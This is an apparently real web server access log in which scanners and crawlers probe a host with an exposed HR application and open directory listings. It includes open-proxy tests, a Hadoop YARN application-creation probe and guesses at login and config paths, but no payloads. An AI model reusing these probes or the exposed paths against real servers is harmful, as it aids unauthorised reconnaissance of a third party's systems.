/ HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:21:13:36 +0800] "GET /SVQb HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:21:13:36 +0800] "GET /SVQb HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:21:13:36 +0800] "GET /GRac HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:21:13:36 +0800] "GET /GRac HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:21:13:36 +0800] "GET /aab8 HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:21:13:36 +0800] "GET /aab8 HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:21:13:37 +0800] "GET /jquery-3.3.1.slim.min.js HTTP/1.1" 404 222 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:21:13:37 +0800] "GET /jquery-3.3.1.slim.min.js HTTP/1.1" 404 222 100.64.0.1 - - [02/Dec/2025:21:13:37 +0800] "GET /aab9 HTTP/1.1" 404 202 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:21:13:37 +0800] "GET /aab9 HTTP/1.1" 404 202 100.64.0.1 - - [02/Dec/2025:21:13:37 +0800] "GET /jquery-3.3.2.slim.min.js HTTP/1.1" 404 222 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" 100.64.0.1 - - [02/Dec/2025:21:13:37 +0800] "GET /jquery-3.3.2.slim.min.js HTTP/1.1" 404 222 100.64.0.1 - - [02/Dec/2025:21:17:20 +0800] "CONNECT 1.1.1.1:443 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:20 +0800] "CONNECT 1.1.1.1:443 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:21 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:21 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:23 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:23 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:24 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:24 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:25 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:25 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:26 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:26 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:26 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:26 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:28 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:28 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:29 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:29 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:30 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:30 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:31 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:31 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:33 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:33 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:36 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:36 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:38 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:38 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:39 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:39 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:21:17:40 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [02/Dec/2025:21:17:40 +0800] "CONNECT 176.65.132.99:80 HTTP/1.0" 405 225 100.64.0.1 - - [02/Dec/2025:23:11:58 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [02/Dec/2025:23:11:58 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:00:05:29 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:00:05:29 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:00:05:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://202.111.43.170:8088/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:00:05:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:01:08:27 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 100.64.0.1 - - [03/Dec/2025:01:08:27 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:01:32:51 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:01:32:51 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:01:32:58 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:01:32:58 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:01:33:06 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:06 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:01:33:07 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [03/Dec/2025:01:33:07 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [03/Dec/2025:01:33:09 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:09 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:01:33:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:18 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:01:33:21 +0800] "GET /idcard HTTP/1.1" 301 241 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:21 +0800] "GET /idcard HTTP/1.1" 301 241 100.64.0.1 - - [03/Dec/2025:01:33:23 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:01:33:23 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:24 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:24 +0800] "GET /eHR HTTP/1.1" 301 238 100.64.0.1 - - [03/Dec/2025:01:33:24 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:24 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:01:33:24 +0800] "GET /eHR1 HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:24 +0800] "GET /eHR1 HTTP/1.1" 301 239 100.64.0.1 - - [03/Dec/2025:01:33:25 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:25 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:01:33:25 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:25 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [03/Dec/2025:01:33:25 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:25 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [03/Dec/2025:01:33:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 100.64.0.1 - - [03/Dec/2025:01:33:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [03/Dec/2025:01:33:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 100.64.0.1 - - [03/Dec/2025:01:33:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [03/Dec/2025:01:33:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 287 100.64.0.1 - - [03/Dec/2025:01:33:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons/small" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 100.64.0.1 - - [03/Dec/2025:01:33:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 282 100.64.0.1 - - [03/Dec/2025:01:33:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:33:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 100.64.0.1 - - [03/Dec/2025:01:34:05 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:01:34:05 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:01:34:07 +0800] "GET /login HTTP/1.1" 404 203 100.64.0.1 - - [03/Dec/2025:01:34:07 +0800] "GET /login HTTP/1.1" 404 203 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [03/Dec/2025:01:34:53 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 100.64.0.1 - - [03/Dec/2025:01:34:53 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:01:47:53 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 100.64.0.1 - - [03/Dec/2025:01:47:53 +0800] "GET http://ip-api.com/json/ HTTP/1.1" 404 203 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:02:03:42 +0800] "GET /stacks HTTP/1.1" 404 204 "-" "Mozilla/5.0 zgrab/0.x" 100.64.0.1 - - [03/Dec/2025:02:03:42 +0800] "GET /stacks HTTP/1.1" 404 204 100.64.0.1 - - [03/Dec/2025:03:02:30 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:03:02:30 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:03:55:04 +0800] "GET /login.htm HTTP/1.1" 404 207 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [03/Dec/2025:03:55:04 +0800] "GET /login.htm HTTP/1.1" 404 207 100.64.0.1 - - [03/Dec/2025:03:55:36 +0800] "GET /login.htm HTTP/1.1" 404 207 100.64.0.1 - - [03/Dec/2025:03:55:36 +0800] "GET /login.htm HTTP/1.1" 404 207 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [03/Dec/2025:04:15:01 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:04:15:01 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:04:15:01 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://222.92.19.198:8088/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:04:15:01 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:04:30:00 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:04:30:00 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [03/Dec/2025:04:44:55 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:04:44:55 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:05:01:19 +0800] "\x16\x03\x01\x01\x17\x01" 501 208 "-" "-" 100.64.0.1 - - [03/Dec/2025:05:01:19 +0800] "\x16\x03\x01\x01\x17\x01" 501 208 100.64.0.1 - - [03/Dec/2025:05:01:30 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 100.64.0.1 - - [03/Dec/2025:05:01:30 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:05:01:35 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:35 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET /config.json HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:36 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:05:01:37 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:37 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [03/Dec/2025:05:01:37 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:37 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:05:01:37 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:37 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:05:01:38 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:38 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:05:01:38 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:38 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [03/Dec/2025:05:01:38 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:38 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 100.64.0.1 - - [03/Dec/2025:05:01:39 +0800] "GET /emphoto/ HTTP/1.1" 200 25152 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:39 +0800] "GET /emphoto/ HTTP/1.1" 200 25152 100.64.0.1 - - [03/Dec/2025:05:01:39 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:39 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:05:01:40 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:40 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [03/Dec/2025:05:01:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [03/Dec/2025:05:01:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 100.64.0.1 - - [03/Dec/2025:05:01:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 100.64.0.1 - - [03/Dec/2025:05:01:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 100.64.0.1 - - [03/Dec/2025:05:02:03 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:05:02:03 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:05:07:18 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:05:07:18 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:05:07:18 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:05:07:18 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:05:17:35 +0800] "GET / HTTP/1.1" 200 439 "-" "fofaget/4.0" 100.64.0.1 - - [03/Dec/2025:05:17:35 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:06:23:07 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [03/Dec/2025:06:23:07 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:06:29:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:06:29:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 100.64.0.1 - - [03/Dec/2025:06:30:28 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:06:30:28 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [03/Dec/2025:06:37:42 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [03/Dec/2025:06:37:42 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [03/Dec/2025:06:39:57 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [03/Dec/2025:06:39:57 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:06:53:52 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" 100.64.0.1 - - [03/Dec/2025:06:53:52 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:07:03:35 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 zgrab/0.x" 100.64.0.1 - - [03/Dec/2025:07:03:35 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:07:03:35 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-" 100.64.0.1 - - [03/Dec/2025:07:03:35 +0800] "MGLNDD_222.92.19.198_8088" 501 227 100.64.0.1 - - [03/Dec/2025:07:07:05 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:07:07:05 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [03/Dec/2025:07:07:05 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "-" "Googlebot-Image/1.0" 100.64.0.1 - - [03/Dec/2025:07:07:05 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [03/Dec/2025:07:17:34 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 zgrab/0.x" 100.64.0.1 - - [03/Dec/2025:07:17:34 +0800] "GET / HTTP/1.1" 200 439 